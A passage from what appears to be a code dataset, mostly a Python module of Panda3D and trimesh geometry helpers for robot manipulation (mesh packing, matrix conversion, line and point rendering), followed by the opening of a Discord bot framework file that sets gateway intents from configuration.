author: weiwei\n    date: 20171219\n    \"\"\"\n\n    vertformat = GeomVertexFormat.getV3n3()\n    vertexdata = GeomVertexData(name, vertformat, Geom.UHStatic)\n    vertwritter = GeomVertexWriter(vertexdata, 'vertex')\n    normalwritter = GeomVertexWriter(vertexdata, 'normal')\n    primitive = GeomTriangles(Geom.UHStatic)\n    for i, vert in enumerate(vertices):\n        vertwritter.addData3f(vert[0], vert[1], vert[2])\n        normalwritter.addData3f(vertnormals[i,0], vertnormals[i,1], vertnormals[i,2])\n    for triangle in triangles:\n        primitive.addVertices(triangle[0], triangle[1], triangle[2])\n    primitive.setShadeModel(GeomEnums.SM_uniform)\n    geom = Geom(vertexdata)\n    geom.addPrimitive(primitive)\n\n    return geom\n\ndef packpandanp_vn(vertices, vertnormals, triangles, name=''):\n    \"\"\"\n    package the vertices and triangles into a panda3d geom\n\n    ## input\n    vertices:\n        a n-by-3 nparray, each row is a vertex\n    vertnormals:\n        a n-by-3 nparray, each row is the normal of a vert\n    triangles:\n        a n-by-3 nparray, each row is three idx to the vertices\n    name:\n        not as important\n\n    ## output\n    pandanode\n        a panda node\n\n    author: weiwei\n    date: 20170221\n    \"\"\"\n\n    objgeom = packpandageom_vn(vertices, vertnormals, triangles, name+'geom')\n    geomnodeobj = GeomNode('GeomNode')\n    geomnodeobj.addGeom(objgeom)\n    pandanp = NodePath( name+'nodepath')\n    pandanp.attachNewNode(geomnodeobj)\n\n    return pandanp\n\ndef packpandageompnts(vertices, colors=[], name=''):\n    \"\"\"\n    package the vertices and triangles into a panda3d geom\n\n    ## input\n    vertices:\n        a n-by-3 nparray, each row is a vertex\n    colors:\n        a n-by-4 nparray, each row is a rgba\n    name:\n        not as important\n\n    ## output\n    geom\n        a Geom model which is ready to be added to a node\n\n    author: weiwei\n    date: 20170328\n    \"\"\"\n\n    vertformat = GeomVertexFormat.getV3c4()\n    vertexdata = GeomVertexData(name, vertformat, Geom.UHStatic)\n    vertwritter = GeomVertexWriter(vertexdata, 'vertex')\n    colorwritter = GeomVertexWriter(vertexdata, 'color')\n    primitive = GeomPoints(Geom.UHStatic)\n    for i,vert in enumerate(vertices):\n        vertwritter.addData3f(vert[0], vert[1], vert[2])\n        if len(colors) == 0:\n            # default\n            colorwritter.addData4f(.2, .2, .2, 1)\n        else:\n            colorwritter.addData4f(colors[i][0], colors[i][1], colors[i][2], colors[i][3])\n        primitive.addVertex(i)\n    geom = Geom(vertexdata)\n    geom.addPrimitive(primitive)\n\n    return geom\n\ndef loadstlaspandanp_fn(objpath):\n    \"\"\"\n    load stl objects into pandanp\n    use face normals to pack\n\n    ## output\n    pandanode\n        a panda node\n\n    author: weiwei\n    date: 20170221\n    \"\"\"\n\n    objtrimesh = trimesh.load_mesh(objpath)\n    objnp = packpandanp_fn(objtrimesh.vertices, objtrimesh.face_normals, objtrimesh.faces)\n\n    return objnp\n\ndef loadstlaspandanp_vn(objpath):\n    \"\"\"\n    load stl objects into pandanp\n    use vertex normals to pack\n\n    ## output\n    pandanode\n        a panda node\n\n    author: weiwei\n    date: 20170221\n    \"\"\"\n\n    objtrimesh = trimesh.load_mesh(objpath)\n    objnp = packpandanp_vn(objtrimesh.vertices, objtrimesh.vertex_normals, objtrimesh.faces)\n\n    return objnp\n\ndef randomColorArray(ncolors=1, alpha = 1):\n    \"\"\"\n    Generate an array of random colors\n    if ncolor = 1, returns a 4-element list\n\n    :param ncolors: the number of colors genrated\n    :return: colorarray\n\n    author: weiwei\n    date: 20161130 hlab\n    \"\"\"\n\n    if ncolors is 1:\n        return [np.random.random(), np.random.random(), np.random.random(), alpha]\n    colorarray = []\n    for i in range(ncolors):\n        colorarray.append([np.random.random(), np.random.random(), np.random.random(), alpha])\n    return colorarray\n#\n# def _genArrow(length, thickness = 1.5):\n#     \"\"\"\n#     Generate a arrow node for plot\n#     This function should not be called explicitly\n#\n#     ## input\n#     length:\n#         length of the arrow\n#     thickness:\n#         thickness of the arrow, set to 0.005 as default\n#\n#     ## output\n#\n#     \"\"\"\n#\n#     this_dir, this_filename = os.path.split(__file__)\n#     cylinderpath = Filename.fromOsSpecific(os.path.join(this_dir, \"geomprim\", \"cylinder.egg\"))\n#     conepath = Filename.fromOsSpecific(os.path.join(this_dir, \"geomprim\", \"cone.egg\"))\n#\n#     arrow = NodePath(\"arrow\")\n#     arrowbody = loader.loadModel(cylinderpath)\n#     arrowhead = loader.loadModel(conepath)\n#     arrowbody.setPos(0,0,0)\n#     arrowbody.setScale(thickness, length, thickness)\n#     arrowbody.reparentTo(arrow)\n#     arrowhead.setPos(arrow.getX(), length, arrow.getZ())\n#     # set scale (consider relativitly)\n#     arrowhead.setScale(thickness*2, thickness*4, thickness*2)\n#     arrowhead.reparentTo(arrow)\n#\n#     return arrow\n#\n# def plotArrow(nodepath, spos = None, epos = None, length = None, thickness = 1.5, rgba=None):\n#     \"\"\"\n#     plot an arrow to nodepath\n#\n#     ## input:\n#     pandabase:\n#         the panda direct.showbase.ShowBase object\n#         will be sent to _genArrow\n#     nodepath:\n#         defines which parent should the arrow be attached to\n#     spos:\n#         1-by-3 nparray or list, starting position of the arrow\n#     epos:\n#         1-by-3 nparray or list, goal position of the arrow\n#     length:\n#         will be sent to _genArrow, if length is None, its value will be computed using np.linalg.norm(epos-spos)\n#     thickness:\n#         will be sent to _genArrow\n#     rgba:\n#         1-by-3 nparray or list\n#\n#     author: weiwei\n#     date: 20160616\n#     \"\"\"\n#\n#     if spos is None:\n#         spos = np.array([0,0,0])\n#     if epos is None:\n#         epos = np.array([0,0,1])\n#     if length is None:\n#         length = np.linalg.norm(epos-spos)\n#     if rgba is None:\n#         rgba = np.array([1,1,1,1])\n#\n#     arrow = _genArrow(length, thickness)\n#     arrow.setPos(spos[0], spos[1], spos[2])\n#     arrow.lookAt(epos[0], epos[1], epos[2])\n#     # lookAt points y+ to epos, use the following command to point x+ to epos\n#     # http://stackoverflow.com/questions/15126492/panda3d-how-to-rotate-object-so-that-its-x-axis-points-to-a-location-in-space\n#     # arrow.setHpr(arrow, Vec3(0,0,90))\n#     arrow.setColor(rgba[0], rgba[1], rgba[2], rgba[3])\n#\n#     arrow.reparentTo(nodepath)\n#\n#     return arrow\n#\n# def _genDumbbell(length, thickness = 2, plotname=\"dumbbell\", headscale = 2):\n#     \"\"\"\n#     Generate a dumbbell node for plot\n#     This function should not be called explicitly\n#\n#     ## input\n#     length:\n#         length of the dumbbell\n#     thickness:\n#         thickness of the dumbbell, set to 0.005 as default\n#\n#     ## output\n#\n#     \"\"\"\n#\n#     this_dir, this_filename = os.path.split(__file__)\n#     cylinderpath = Filename.fromOsSpecific(os.path.join(this_dir, \"geomprim\", \"cylinder.egg\"))\n#     conepath = Filename.fromOsSpecific(os.path.join(this_dir, \"geomprim\", \"sphere.egg\"))\n#\n#     dumbbell = NodePath(plotname)\n#     dumbbellbody = loader.loadModel(cylinderpath)\n#     dumbbellhead = loader.loadModel(conepath)\n#     dumbbellbody.setPos(0,0,0)\n#     dumbbellbody.setScale(thickness, length, thickness)\n#     dumbbellbody.reparentTo(dumbbell)\n#     dumbbellhead0 = NodePath(\"dumbbellhead0\")\n#     dumbbellhead1 = NodePath(\"dumbbellhead1\")\n#     dumbbellhead0.setPos(dumbbellbody.getX(), length, dumbbellbody.getZ())\n#     dumbbellhead1.setPos(dumbbellbody.getX(), dumbbellbody.getY(), dumbbellbody.getZ())\n#     dumbbellhead.instanceTo(dumbbellhead0)\n#     dumbbellhead.instanceTo(dumbbellhead1)\n#     # set scale (consider relativitly)\n#     dumbbellhead0.setScale(thickness*headscale, thickness*headscale, thickness*headscale)\n#     dumbbellhead1.setScale(thickness*headscale, thickness*headscale, thickness*headscale)\n#     dumbbellhead0.reparentTo(dumbbell)\n#     dumbbellhead1.reparentTo(dumbbell)\n#\n#     return dumbbell\n#\n# def plotDumbbell(nodepath, spos = None, epos = None, length = None, thickness = 1.5, rgba=None, plotname=\"dumbbell\", headscale = 2):\n#     \"\"\"\n#     plot a dumbbell to nodepath\n#\n#     ## input:\n#     nodepath:\n#         defines which parent should the arrow be attached to\n#     spos:\n#         1-by-3 nparray or list, starting position of the arrow\n#     epos:\n#         1-by-3 nparray or list, goal position of the arrow\n#     length:\n#         will be sent to _genArrow, if length is None, its value will be computed using np.linalg.norm(epos-spos)\n#     thickness:\n#         will be sent to _genArrow\n#     rgba:\n#         1-by-4 nparray or list\n#\n#     author: weiwei\n#     date: 20160616\n#     \"\"\"\n#\n#     if spos is None:\n#         spos = np.array([0,0,0])\n#     if epos is None:\n#         epos = np.array([0,0,1])\n#     if length is None:\n#         length = np.linalg.norm(epos-spos)\n#     if rgba is None:\n#         rgba = np.array([1,1,1,1])\n#\n#     dumbbell = _genDumbbell(length, thickness, plotname, headscale)\n#     dumbbell.setPos(spos[0], spos[1], spos[2])\n#     dumbbell.lookAt(epos[0], epos[1], epos[2])\n#     # lookAt points y+ to epos, use the following command to point x+ to epos\n#     # http://stackoverflow.com/questions/15126492/panda3d-how-to-rotate-object-so-that-its-x-axis-points-to-a-location-in-space\n#     # arrow.setHpr(arrow, Vec3(0,0,90))\n#     dumbbell.setColor(rgba[0], rgba[1], rgba[2], rgba[3])\n#\n#     dumbbell.reparentTo(nodepath)\n#     return dumbbell\n#\n# def _genBox(x=1.0, y=1.0, z=1.0, plotname=\"box\"):\n#     \"\"\"\n#     Generate a box for plot\n#     This function should not be called explicitly\n#\n#     ## input\n#     x,y,z:\n#         the thickness of the box along x, y, and z axis\n#\n#     ## output\n#     box: pathnode\n#\n#     author: weiwei\n#     date: 20160620 ann arbor\n#     \"\"\"\n#\n#     this_dir, this_filename = os.path.split(__file__)\n#     boxpath = Filename.fromOsSpecific(os.path.join(this_dir, \"geomprim\", \"box.egg\"))\n#     box = loader.loadModel(boxpath)\n#\n#     boxnp = NodePath(plotname)\n#     box.reparentTo(boxnp)\n#     box.setPos(0, 0, 0)\n#     box.setScale(x, y, z)\n#\n#     return boxnp\n#\n# def plotBox(nodepath, pos = None, x = 1.0, y = 1.0, z = 1.0, rgba=None):\n#     \"\"\"\n#     plot a box to nodepath\n#\n#     ## input:\n#     nodepath:\n#         defines which parent should the arrow be attached to\n#     pos:\n#         1-by-3 nparray or list, position of the sphere\n#     x,y,z:\n#         will be sent to _genBox\n#     rgba:\n#         1-by-3 nparray or list\n#\n#     author: weiwei\n#     date: 20160620 ann arbor\n#     \"\"\"\n#\n#     if pos is None:\n#         pos = np.array([0,0,0])\n#     if rgba is None:\n#         rgba = np.array([1,1,1,1])\n#\n#     boxnp = _genBox(x, y, z)\n#     boxnp.setPos(pos[0], pos[1], pos[2])\n#     boxnp.setColor(rgba[0], rgba[1], rgba[2], rgba[3])\n#     boxnp.setTransparency(TransparencyAttrib.MAlpha)\n#\n#     boxnp.reparentTo(nodepath)\n#\n# def plotLinesegs(nodepath, verts, thickness = 1.5, rgba=None, plotname=\"linesegs\", headscale = 1):\n#     \"\"\"\n#     plot a dumbbell to nodepath\n#\n#     ## input:\n#     nodepath:\n#         defines which parent should the arrow be attached to\n#     verts:\n#         1-by-3 nparray or list, verts on the lineseg\n#     thickness:\n#         will be sent to _genArrow\n#     rgba:\n#         1-by-4 nparray or list\n#\n#     author: weiwei\n#     date: 20160616\n#     \"\"\"\n#\n#     if rgba is None:\n#         rgba = np.array([1,1,1,1])\n#\n#     linesegs = NodePath(plotname)\n#     for i in range(len(verts)-1):\n#         diff0 = verts[i][0]-verts[i+1][0]\n#         diff1 = verts[i][1]-verts[i+1][1]\n#         diff2 = verts[i][2]-verts[i+1][2]\n#         length = math.sqrt(diff0*diff0+diff1*diff1+diff2*diff2)\n#         dumbbell = _genDumbbell(length, thickness, plotname, headscale=headscale)\n#         dumbbell.setPos(verts[i][0], verts[i][1], verts[i][2])\n#         dumbbell.lookAt(verts[i+1][0], verts[i+1][1], verts[i+1][2])\n#         dumbbell.setColor(rgba[0], rgba[1], rgba[2], rgba[3])\n#         dumbbell.setTransparency(TransparencyAttrib.MAlpha)\n#     # lookAt points y+ to epos, use the following command to point x+ to epos\n#     # http://stackoverflow.com/questions/15126492/panda3d-how-to-rotate-object-so-that-its-x-axis-points-to-a-location-in-space\n#     # arrow.setHpr(arrow, Vec3(0,0,90))\n#\n#         dumbbell.reparentTo(linesegs)\n#\n#     linesegs.reparentTo(nodepath)\n#     return linesegs\n#\n#     boxnd.reparentTo(nodepath)\n#\n# def _genSphere(radius = None):\n#     \"\"\"\n#     Generate a sphere for plot\n#     This function should not be called explicitly\n#\n#     ## input\n#     radius:\n#         the radius of the sphere\n#\n#     ## output\n#     sphere: pathnode\n#\n#     author: weiwei\n#     date: 20160620 ann arbor\n#     \"\"\"\n#\n#     if radius is None:\n#         radius = 0.05\n#\n#     this_dir, this_filename = os.path.split(__file__)\n#     spherepath = Filename.fromOsSpecific(os.path.join(this_dir, \"geomprim\", \"sphere.egg\"))\n#\n#     spherepnd = NodePath(\"sphere\")\n#     spherend = loader.loadModel(spherepath)\n#     spherend.setPos(0,0,0)\n#     spherend.setScale(radius, radius, radius)\n#     spherend.reparentTo(spherepnd)\n#\n#     return spherepnd\n#\n# def plotSphere(nodepath, pos = None, radius=None, rgba=None):\n#     \"\"\"\n#     plot a sphere to nodepath\n#\n#     ## input:\n#     nodepath:\n#         defines which parent should the arrow be attached to\n#     pos:\n#         1-by-3 nparray or list, position of the sphere\n#     radius:\n#         will be sent to _genSphere\n#     rgba:\n#         1-by-3 nparray or list\n#\n#     author: weiwei\n#     date: 20160620 ann arbor\n#     \"\"\"\n#\n#     if pos is None:\n#         pos = np.array([0,0,0])\n#     if rgba is None:\n#         rgba = np.array([1,1,1,1])\n#     if radius is None:\n#         radius = 1\n#\n#     spherend = _genSphere(radius)\n#     spherend.setPos(pos[0], pos[1], pos[2])\n#     spherend.setColor(rgba[0], rgba[1], rgba[2], rgba[3])\n#     spherend.setTransparency(TransparencyAttrib.MAlpha)\n#\n#     spherend.reparentTo(nodepath)\n#\n# def _genStick(length, thickness = 2, plotname=\"dumbbell\"):\n#     \"\"\"\n#     Generate a stick node for plot\n#     This function should not be called explicitly\n#\n#     ## input\n#     length:\n#         length of the stick\n#     thickness:\n#         thickness of the stick, set to 0.005 as default\n#\n#     ## output\n#\n#     \"\"\"\n#\n#     this_dir, this_filename = os.path.split(__file__)\n#     cylinderpath = Filename.fromOsSpecific(os.path.join(this_dir, \"geomprim\", \"cylinder.egg\"))\n#\n#     stick = NodePath(plotname)\n#     stickbody = loader.loadModel(cylinderpath)\n#     stickbody.setPos(0,0,0)\n#     stickbody.setScale(thickness, length, thickness)\n#     stickbody.reparentTo(stick)\n#\n#     return stick\n#\n# def plotStick(nodepath, spos = None, epos = None, length = None, thickness = 1.5, rgba=None, plotname=\"dumbbell\"):\n#     \"\"\"\n#     plot a stick to nodepath\n#\n#     ## input:\n#     nodepath:\n#         defines which parent should the arrow be attached to\n#     spos:\n#         1-by-3 nparray or list, starting position of the arrow\n#     epos:\n#         1-by-3 nparray or list, goal position of the arrow\n#     length:\n#         will be sent to _genArrow, if length is None, its value will be computed using np.linalg.norm(epos-spos)\n#     thickness:\n#         will be sent to _genArrow\n#     rgba:\n#         1-by-4 nparray or list\n#\n#     author: weiwei\n#     date: 20160616\n#     \"\"\"\n#\n#     if spos is None:\n#         spos = np.array([0,0,0])\n#     if epos is None:\n#         epos = np.array([0,0,1])\n#     if length is None:\n#         length = np.linalg.norm(epos-spos)\n#     if rgba is None:\n#         rgba = np.array([1,1,1,1])\n#\n#     stick = _genStick(length, thickness, plotname)\n#     stick.setPos(spos[0], spos[1], spos[2])\n#     stick.lookAt(epos[0], epos[1], epos[2])\n#     # lookAt points y+ to epos, use the following command to point x+ to epos\n#     # http://stackoverflow.com/questions/15126492/panda3d-how-to-rotate-object-so-that-its-x-axis-points-to-a-location-in-space\n#     # arrow.setHpr(arrow, Vec3(0,0,90))\n#     stick.setColor(rgba[0], rgba[1], rgba[2], rgba[3])\n#\n#     stick.reparentTo(nodepath)\n#     return stick\n#\n\ndef cvtMat3(npmat3):\n    \"\"\"\n    convert numpy.2darray to LMatrix3f defined in Panda3d\n\n    :param npmat3: a 3x3 numpy ndarray\n    :return: a LMatrix3f object, see panda3d\n\n    author: weiwei\n    date: 20161107, tsukuba\n    \"\"\"\n    return Mat3(npmat3[0, 0], npmat3[1, 0], npmat3[2, 0], \\\n                npmat3[0, 1], npmat3[1, 1], npmat3[2, 1], \\\n                npmat3[0, 2], npmat3[1, 2], npmat3[2, 2])\n\ndef npToMat4(npmat3, npvec3=np.array([0,0,0])):\n    \"\"\"\n    # updated from cvtMat4\n    convert numpy.2darray to LMatrix4 defined in Panda3d\n\n    :param npmat3: a 3x3 numpy ndarray\n    :param npvec3: a 1x3 numpy ndarray\n    :return: a LMatrix3f object, see panda3d\n\n    author: weiwei\n    date: 20170322\n    \"\"\"\n    return Mat4(npmat3[0, 0], npmat3[1, 0], npmat3[2, 0], 0, \\\n                npmat3[0, 1], npmat3[1, 1], npmat3[2, 1], 0, \\\n                npmat3[0, 2], npmat3[1, 2], npmat3[2, 2], 0, \\\n                npvec3[0], npvec3[1], npvec3[2], 1)\n\ndef cvtMat4(npmat3, npvec3=np.array([0,0,0])):\n    \"\"\"\n    # use npToMat4 instead\n    convert numpy.2darray to LMatrix4 defined in Panda3d\n\n    :param npmat3: a 3x3 numpy ndarray\n    :param npvec3: a 1x3 numpy ndarray\n    :return: a LMatrix3f object, see panda3d\n\n    author: weiwei\n    date: 20161107, tsukuba\n    \"\"\"\n    return Mat4(npmat3[0, 0], npmat3[1, 0], npmat3[2, 0], 0, \\\n                npmat3[0, 1], npmat3[1, 1], npmat3[2, 1], 0, \\\n                npmat3[0, 2], npmat3[1, 2], npmat3[2, 2], 0, \\\n                npvec3[0], npvec3[1], npvec3[2], 1)\n\ndef cvtMat4np4(npmat4):\n    \"\"\"\n    convert numpy.2darray to LMatrix4 defined in Panda3d\n\n    :param npmat4: a 4x4 numpy ndarray\n    :return: a LMatrix4f object, see panda3d\n\n    author: weiwei\n    date: 20161213, tsukuba\n    \"\"\"\n    return cvtMat4(npmat4[:3,:3], npmat4[:3,3])\n\ndef mat4ToStr(pdmat4):\n    \"\"\"\n    convert a mat4 matrix to a string like e00, e01, e02, ...\n\n    :param pdmat4:\n    :return: a string\n\n    author: weiwei\n    date: 20161212, tsukuba\n    \"\"\"\n\n    row0 = pdmat4.getRow(0)\n    row1 = pdmat4.getRow(1)\n    row2 = pdmat4.getRow(2)\n\n    return ','.join(row0)+','+','.join(row1)+','+','.join(row2)\n\ndef mat3ToNp(pdmat3):\n    \"\"\"\n    convert a mat3 matrix to a numpy 2darray...\n\n    :param pdmat3:\n    :return: numpy 2darray\n\n    author: weiwei\n    date: 20161216, sapporo\n    \"\"\"\n\n    row0 = pdmat3.getRow(0)\n    row1 = pdmat3.getRow(1)\n    row2 = pdmat3.getRow(2)\n\n    return np.array([[row0[0], row1[0], row2[0]], [row0[1], row1[1], row2[1]], [row0[2], row1[2], row2[2]]])\n\ndef mat4ToNp(pdmat4):\n    \"\"\"\n    convert a mat4 matrix to a numpy 2darray...\n\n    :param pdmat4\n    :return: numpy 2darray\n\n    author: weiwei\n    date: 20161216, sapporo\n    \"\"\"\n\n    # TODO translation should be vertical?\n\n    row0 = pdmat4.getRow(0)\n    row1 = pdmat4.getRow(1)\n    row2 = pdmat4.getRow(2)\n    row3 = pdmat4.getRow(3)\n\n    return np.array([[row0[0], row1[0], row2[0], row3[0]], [row0[1], row1[1], row2[1], row3[2]],\n                     [row0[2], row1[2], row2[2], row3[2]], [row0[3], row1[3], row2[3], row3[3]]])\n\ndef v3ToNp(pdv3):\n    \"\"\"\n    convert vbase3 to a numpy array...\n\n    :param pdmat3:\n    :return: numpy 2darray\n\n    author: weiwei\n    date: 20161216, sapporo\n    \"\"\"\n\n    return np.array([pdv3[0], pdv3[1], pdv3[2]])\n\ndef npToV3(npv3):\n    \"\"\"\n    convert a numpy array to Panda3d V3...\n\n    :param npv3:\n    :return: panda3d vec3\n\n    author: weiwei\n    date: 20170322\n    \"\"\"\n\n    return Vec3(npv3[0], npv3[1], npv3[2])\n\ndef makelsnodepath(linesegs,thickness=1, rgbacolor=[1,1,1,1]):\n    \"\"\"\n    create linesegs pathnode\n\n    :param linesegs: [[pnt0, pn1], [pn0, pnt1], ...]\n    :param thickness:\n    :return: a panda3d pathnode\n\n    author: weiwei\n    date: 20161216\n    \"\"\"\n\n    # Create a set of line segments\n    ls = LineSegs()\n    ls.setThickness(thickness)\n\n    for p0p1tuple in linesegs:\n        pnt00, pnt01, pnt02 = p0p1tuple[0]\n        pnt10, pnt11, pnt12 = p0p1tuple[1]\n        ls.setColor(rgbacolor[0], rgbacolor[1], rgbacolor[2], rgbacolor[3])\n        ls.moveTo(pnt00, pnt01, pnt02)\n        ls.drawTo(pnt10, pnt11, pnt12)\n\n    # Create and return a node with the segments\n    lsnp = NodePath(ls.create())\n    lsnp.setTransparency(TransparencyAttrib.MAlpha)\n    return lsnp\n\n\ndef facetboundary(objtrimesh, facet, facetcenter, facetnormal):\n    \"\"\"\n    compute a boundary polygon for facet\n    assumptions:\n    1. there is only one boundary\n    2. the facet is convex\n\n    :param objtrimesh: a datatype defined in trimesh\n    :param facet: a data type defined in trimesh\n    :param facetcenter and facetnormal used to compute the transform, see trimesh.geometry.plane_transform\n    :return: [a list of 3d points, a shapely polygon, facetmat4 (the matrix that cvt the facet to 2d 4x4)]\n\n    author: weiwei\n    date: 20161213, tsukuba\n    \"\"\"\n\n    facetp = None\n\n    # use -facetnormal to let the it face downward\n    facetmat4 = trigeom.plane_transform(facetcenter, -facetnormal)\n\n    for i, faceidx in enumerate(facet):\n        vert0 = objtrimesh.vertices[objtrimesh.faces[faceidx][0]]\n        vert1 = objtrimesh.vertices[objtrimesh.faces[faceidx][1]]\n        vert2 = objtrimesh.vertices[objtrimesh.faces[faceidx][2]]\n        vert0p = rm.transformmat4(facetmat4, vert0)\n        vert1p = rm.transformmat4(facetmat4, vert1)\n        vert2p = rm.transformmat4(facetmat4, vert2)\n        facep = Polygon([vert0p[:2], vert1p[:2], vert2p[:2]])\n        if facetp is None:\n            facetp = facep\n        else:\n            facetp = facetp.union(facep)\n\n    verts2d = list(facetp.exterior.coords)\n    verts3d = []\n    for vert2d in verts2d:\n        vert3d = rm.transformmat4(rm.homoinverse(facetmat4), np.array([vert2d[0], vert2d[1], 0]))[:3]\n        verts3d.append(vert3d)\n\n    return [verts3d, verts2d, facetmat4]\n\ndef genObjmnp(objpath, objname = 'obj', color = Vec4(1,0,0,1)):\n    \"\"\"\n    gen objmnp\n\n    :param objpath:\n    :return:\n    \"\"\"\n\n    objtrimesh = trimesh.load_mesh(objpath)\n    geom = packpandageom_fn(objtrimesh.vertices,\n                         objtrimesh.face_normals,\n                         objtrimesh.faces)\n\n    node = GeomNode(objname)\n    node.addGeom(geom)\n    objmnp = NodePath(objname)\n    objmnp.attachNewNode(node)\n    objmnp.setColor(color)\n    objmnp.setTransparency(TransparencyAttrib.MAlpha)\n\n    return objmnp\n\ndef genPntsnp(verts, colors = [], pntsize = 1):\n    \"\"\"\n    gen objmnp\n\n    :param objpath:\n    :return:\n    \"\"\"\n\n    geom = packpandageompnts(verts, colors)\n    node = GeomNode('pnts')\n    node.addGeom(geom)\n    objmnp = NodePath('pnts')\n    objmnp.attachNewNode(node)\n    objmnp.setRenderMode(RenderModeAttrib.MPoint, pntsize)\n\n    return objmnp\n\ndef genSurfacenp(verts, tris, color = Vec4(1,0,0,1)):\n    \"\"\"\n\n    :param verts: np.array([[v00, v01, v02], [v10, v11, v12], ...]\n    :param tris: np.array([[ti00, ti01, ti02], [ti10, ti11, ti12], ...]\n    :param color: Vec4 rgba\n    :return:\n\n    author: weiwei\n    date: 20171219\n    \"\"\"\n\n    # gen vert normals\n    vertnormals = np.zeros((len(verts), 3))\n    for tri in tris:\n        vert0 = verts[tri[0], :]\n        vert1 = verts[tri[1], :]\n        vert2 = verts[tri[2], :]\n        facenormal = np.cross(vert2-vert1, vert0-vert1)\n        vertnormals[tri[0], :] = vertnormals[tri[0]] + facenormal\n        vertnormals[tri[1], :] = vertnormals[tri[1]] + facenormal\n        vertnormals[tri[2], :] = vertnormals[tri[2]] + facenormal\n        # vertnormals[tri[0], :] = facenormal\n        # vertnormals[tri[1], :] = facenormal\n        # vertnormals[tri[2], :] = facenormal\n    for i in range(0,len(vertnormals)):\n        vertnormals[i, :] = vertnormals[i,:]/np.linalg.norm(vertnormals[i,:])\n\n    geom = packpandageom_vertnormals(verts,\n                                   vertnormals,\n                                   tris)\n    node = GeomNode('surface')\n    node.addGeom(geom)\n    surfacemnp = NodePath('surface')\n    surfacemnp.attachNewNode(node)\n    surfacemnp.setColor(color)\n    surfacemnp.setTransparency(TransparencyAttrib.MAlpha)\n    surfacemnp.setTwoSided(True)\n\n    return surfacemnp\n\ndef genPolygonsnp(verts, colors = [], thickness = 2.0):\n    \"\"\"\n    gen objmnp\n\n    :param objpath:\n    :return:\n    \"\"\"\n\n    segs = LineSegs()\n    segs.setThickness(thickness)\n    if len(colors) == 0:\n        segs.setColor(Vec4(.2, .2, .2, 1))\n    else:\n        segs.setColor(colors[0], colors[1], colors[2], colors[3])\n    for i in range(len(verts)-1):\n        segs.moveTo(verts[i][0], verts[i][1], verts[i][2])\n        segs.drawTo(verts[i+1][0], verts[i+1][1], verts[i+1][2])\n\n    objmnp = NodePath('polygons')\n    objmnp.attachNewNode(segs.create())\n    objmnp.setTransparency(TransparencyAttrib.MAlpha)\n\n    return objmnp\n\ndef genLinesegsnp(verts, colors = [], thickness = 2.0):\n    \"\"\"\n    gen objmnp\n\n    :param objpath:\n    :return:\n    \"\"\"\n\n    segs = LineSegs()\n    segs.setThickness(thickness)\n    if len(colors) == 0:\n        segs.setColor(Vec4(.2, .2, .2, 1))\n    else:\n        segs.setColor(colors[0], colors[1], colors[2], colors[3])\n    for i in range(len(verts)-1):\n        segs.moveTo(verts[i][0], verts[i][1], verts[i][2])\n        segs.drawTo(verts[i+1][0], verts[i+1][1], verts[i+1][2])\n\n    objmnp = NodePath('linesegs')\n    objmnp.attachNewNode(segs.create())\n    objmnp.setTransparency(TransparencyAttrib.MAlpha)\n\n    return objmnp\n\ndef genRotmat4(icolevel = 1, angles = [0, 45, 90, 135, 180, 255, 270, 315]):\n    \"\"\"\n    generate panda3d rotmat4 using icospheres and rotationaangle each origin-vertex vector of the icosphere\n\n    :param icolevel:\n    :param angles:\n    :return:\n\n    author: weiwei\n    date: 20171211, osaka\n    \"\"\"\n\n    mat4list = []\n    icos = trimesh.creation.icosphere(icolevel)\n    for vert in icos.vertices:\n        xvec = Vec3(vert[0], vert[1], vert[2])\n        yvec = xvec.cross(Vec3(0,0,1))\n        zvec = xvec.cross(yvec)\n        newobjmat3 = Mat3()\n        newobjmat3.setRow(0, xvec)\n        newobjmat3.setRow(1, yvec)\n        newobjmat3.setRow(2, zvec)\n        newobjmat4 = Mat4(newobjmat3)\n        for angle in angles:\n            tmppandamat4 = Mat4.rotateMat(angle, newobjmat4.getRow3(0))\n            tmppandamat4 = newobjmat4 * tmppandamat4\n            mat4list.append(tmppandamat4)\n\n    return mat4list\n\ndef trimesh2Panda(trimesh, name = \"auto\"):\n    \"\"\"\n    cvt trimesh models to panda models\n\n    :param trimesh:\n    :return:\n\n    author: weiwei\n    date: 20180606\n    \"\"\"\n\n    return packpandanp_fn(trimesh.vertices, trimesh.face_normals, trimesh.faces)\n\nif __name__==\"__main__\":\n\n    # show in panda3d\n    import random\n    import math\n    from panda3d.core import *\n    import pandaplotutils.pandactrl as pandactrl\n\n    base = pandactrl.World(camp=[0,0,3000], lookatp=[0,0,0])\n\n    verts = []\n    for i in range(-500, 500, 5):\n        for j in range(-500, 500,5 ):\n            verts.append([i,j,random.gauss(0, math.sqrt(i*i+j*j))/10])\n    verts = np.array(verts)\n    pntsnp = genPntsnp(verts, pntsize = 10)\n\n    base.run()","repo_name":"wanweiwei07/pymanipulator","sub_path":"pandaplotutils/pandageom.py","file_name":"pandageom.py","file_ext":"py","file_size_in_byte":54718,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"60"}
+{"seq_id":"3282194374","text":"import disnake\nfrom disnake.ext import commands \nfrom config import Config\nfrom babel import Babel\nimport sys, time, os\nfrom itertools import groupby\n\nclass merelybot(commands.AutoShardedBot):\n\t\"\"\"this is the core of the merely framework.\"\"\"\n\tconfig = Config()\n\tbabel = Babel(config)\n\tverbose = False\n\n\tintents = disnake.Intents.none()\n\tintents.guilds = config.getboolean('intents', 'guilds')\n\tintents.members = config.getboolean('intents', 'members')\n\tintents.bans = config.getboolean('intents', 'bans')\n\tintents.emojis = config.getboolean('intents', 'emojis')\n\tintents.integrations = config.getboolean('intents', 'integrations')\n\tintents.webhooks = config.getboolean('intents', 'webhooks')\n\tintents.invites = config.getboolean('intents', 'invites')\n\tintents.voice_states = config.getboolean('intents', 'voice_states')\n\tintents.presences = config.getboolean('intents', 'presences')\n\tintents.message_content = config.getboolean('intents', 'message_content')\n\tintents.messages = config.getboolean('intents', 'messages')\n\tintents.guild_messages = config.getboolean('intents', 'guild_messages')\n\tintents.dm_messages = config.getboolean('intents', 'dm_messages')\n\tintents.reactions = config.getboolean('intents', 'reactions')\n\tintents.guild_reactions = config.getboolean('intents', 'guild_reactions')\n\tintents.dm_reactions = config.getboolean('intents', 'dm_reactions')\n\tintents.typing = config.getboolean('intents', 'typing')\n\tintents.guild_typing = config.getboolean('intents', 'guild_typing')\n\tintents.dm_typing = config.getboolean('intents', 'dm_typing')\n\n\tdef __init__(self, **kwargs):\n\t\tprint(f\"\"\"\n\t\tmerely 